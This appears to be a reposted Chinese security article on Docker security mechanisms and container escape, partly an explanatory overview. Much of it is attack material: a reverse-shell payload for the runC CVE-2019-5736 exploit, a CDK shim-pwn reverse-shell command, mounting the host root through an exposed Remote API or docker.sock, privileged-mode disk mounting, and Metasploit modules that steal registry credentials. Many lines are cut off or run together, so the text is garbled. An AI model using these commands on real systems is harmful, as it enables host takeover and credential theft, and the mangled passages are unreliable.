docker下安全问题总结
作者:DDBG 编辑:白帽子社区运营团队
"白帽子社区端午特别活动“白帽寻宝记”明天(06月12日09:00)就开始啦!!!靶场已经开放活动板块可以进行签到,抽奖请点👉这里👈跳转,BMZCTF靶场地址:www.bmzclub.cn
"

Namespace
每次启动一个容器的时候,都会单独的给予这个容器一个单独的命令空间,
因此容器中运行的程序/进程是不会影响到另一个容器的;每个容器的网络
也是相互独立的,有需要的话可以通过物理机来实现连通
Namespace让每个容器都变得独立,互不干扰
Control Group
Control Group组件用来规划容器对物理资源(cpu、内存、磁盘等)的使
用,防止容器过多的占用资源,影响其他容器或者是物理机的正常运转
Control Group可以有效的防止DOS
Capabilities
Capabilities将 root/非root 分为更细的权限控制,所有需要root权限来执行
的命令,都可以利用 Capabilities 来代替,例如一个 Web 服务进程只需要绑
定一个低于 1024 的端口的权限,并不需要 root 权限。那么它只需要被授权
net_bind_service Capabilities 就行了。
利用 Capabilities 可以避免进程获取 root 权限,即使攻击者能够获取到容器
的root权限,也不能获得宿主机的较高权限。默认情况下,Docker采用 白
名单 机制,禁用必需功能之外的其它权限。当然,用户也可以根据自身需
求来为 Docker 容器启用额外的权限。
AppArmor
可以理解为是一个访问控制,AppArmor 将访问控制细化绑定到程序。定义
了应用程序可以访问哪些系统资源以及具有哪些权限。例如:可以允许程序
进行网络访问,原始套接字访问或者读取写入与路径规则匹配的文件。如果
配置文件没有声明,则默认情况下禁止进程对资源的访问。
默认情况下,Docker 会为容器自动生成并加载默认的 AppArmor 配置文
件。
Seccomp
一般情况下,系统进程都会暴露给用户。Seccomp可以过滤一些不必要的系
统调用,减少了内核暴露给用户态进程的接口数量
默认会启用 Seccomp 保护,默认的白名单规则仅保留了 Linux 中比较常见
并且安全的系统调用。防止从内核层面发起的进攻
容器逃逸:攻击者通过攻击控制了一个容器,能在容器中以某个角色权限执行命
令。然后再进一步的获取到容器所在的直接宿主机(在“物理机运行虚拟机,虚拟
机再运行容器”的场景中,直接宿主机指容器外层的虚拟机)

根目录下是否存在 .dockerenv 文件
量加载到容器中,现在容器不再使用LCX所以内容为空,通过这种方式来识
别当前环境是否在容器中。
ls -al .dockerenv/proc/1/cgroup是否存在docker字符串
docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在
该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器。
cat /proc/1/cgroup | grep docker运行的系统进程数
否处于docker环境
s aux缺少系统命令
库,一些常见的命令是不存在的,我们可以以此来判断是否是Docker环境
ping、sudo、ifconfig、ssh、vi、gccfind命令查看文件系统存在的差别
中有/var、/etc、/sys目录下的文件,可以以此来区别是否为docker环境)
find / -name docker环境变量的不同
变量多,docker中的少
env文件系统的不同
可以根据这个来判断
df -h
查看Docker版本
docker --version当前环境哪些用户?
cat /etc/passwd容器操作系统?
cat /etc/os-release宿主机内核版本?
uname -a容器内进程具有哪些权限(Docker上执行,获得权限值)
grep CapEff /proc/self/status容器挂载了哪些卷?
cat /proc/mounts哪些用户可以使用docker?
grep docker /etc/group 当前宿主机可用镜像?
docker images -a当前运行哪些容器?
docker ps -a

宿主机内核漏洞
生逃逸,如Dirty COW漏洞(CVE-2016-5195)。未及时升级linux内核,也有
被攻击利用的风险。
Docker自身漏洞
漏洞描述:Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0-
rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以
在宿主机上以root身份执行命令。(通过 docker 和docker-runc 查看
当前版本情况)影响版本:
docker version <=18.09.2、RunC version <=1.0-rc6利用条件:攻击者可控 image,进一步控制生成的container、攻击者
具有某已存在容器的写权限,且可通过docker exec进入漏洞利用:
https://github.com/Frichetten/CVE-2019-5736-PoC var payload = "#!/bin/bash \n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1" CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go或者其余下载方式传入就好。
root@root:/tmp# ./main[+] Overwritten /bin/sh successfully
test@test:~$ sudo docker exec -it d1 /bin/bashroot@root:/tmp[] Overwritten /bin/sh successfully[] Found the PID: 16[] Successfully got the file handle[] Successfully got write handle &{0xc8201231e0}
通过宿主机docker cp容器文件导致任意命令执行的漏洞
影响版本:
docker 19.03.0(包含几个beta版),19.03.1以上以及18.09以下都不受影响漏洞利用
https://xz.aliyun.com/t/6806修复建议:升级到最新版本或者是打补丁。
漏洞描述:containerd是行业标准的容器运行时,可作为Linux和
Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填
充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问
控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象
Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特
权运行。影响版本:
containerd < 1.4.3、containerd < 1.3.9漏洞利用:
https://github.com/Xyntax/CDK/releases/tag/0.1.6执行POC反弹shell
./cdk_linux_386 run shim-pwn 127.0.0.1 8888nc -lvp 8888 象套接字。
漏洞描述:该漏洞源于libcontainer/rootfs_linux.go文件没有正确检
查挂载目标。攻击者可利用该漏洞绕过AppArmor限制。影响版本:
runc1.0.0-rc8及之前版本漏洞利用:
https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA
Docker的错误配置&设计缺陷
Docker 未授权访问
定在0.0.0.0上,端口中存在Docker Remote API的服务。可以通过
HTTP调用
http://217.0.0.1:2375/version(ps、/images/json、/containers/json)
docker -H tcp://xx.xx.xx.xx:2375 imagesdocker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/shDocker.sock
行恶意操纵完成逃逸,容器A能访问docker socket便可在容器中安装
docker client,通过docker.sock与宿主机进行交互,运行并切换至不
安全的容器B中控制宿主机。
find / -name docker.sockdocker -H unix:///var/run/docker.sock infodocker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bash下来就是写入ssh密钥或者写入计划任务,获取shell
privileged(特权模式)
run --privileged时,Docker容器将被允许访问主机上的所有文件,并
可以执行mount命令进行挂载。通过mount命令将外部宿主机磁盘设
备挂载进容器内部,获取对整个宿主机的文件读写权限,利用写入计
划任务等方式在宿主机执行命令。
cat /proc/self/status | grep CapEff0000003fffffffffmkdir /testmount /dev/sda1 /abcls /abcecho 123 > /test/home/botasky/escape2Shocker 攻击
取宿主机的目标文件内容。存在于 Docker 1.0 之前的绝大多数版本
https://github.com/gabrtv/shockerdocker run gabrtv/shocker

查看Docker服务器版本(VERBOSE参数为true获得更多信息)
auxiliary/scanner/http/docker_version问。
检测目标环境是否为容器。
post/linux/gather/checkcontainer串是否存在等。
检测目标环境中各种漏洞缓解机制是否开启
post/linux/gather/enum_protections说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如
ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了
LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装
及开启;另外,还检测了一些常见安全应用等
核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出
的参数来判断相关缓解机制是否开启
对Docker的守护进程实现root权限远程代码执行
exploit/linux/http/docker_daemon_tcp码执行。
宿主机目录,写入反弹shell的定时任务。
问。
Docker容器内的提权
exploit/linux/local/docker_daemon_privilege_escalation一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就
能够借助Docker守护进程提升权限 .
器内挂载docker socket导致容器逃逸的情况与本模块在原理上是类似
的。本模块利用Docker创建新容器,将宿主机上文件系统挂载进去,
然后将反弹shell程序添加suid标志位,最后执行反弹shell。
读取.docker/config.json文件
post/multi/gather/docker_creds得认证凭据(如镜像仓库的登录凭据)。
其他模块,因为适用范围或者限制问题,建议参考模块的文档
auxiliary/gather/saltstack_salt_root_keyexploit/linux/misc/saltstack_salt_unauth_rceexploit/windows/local/docker_credential_wincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon
参考文章
https://forum.90sec.com/t/topic/1338https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-https://tech.meituan.com/2020/03/12/cloud-native-security.htmlhttps://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ
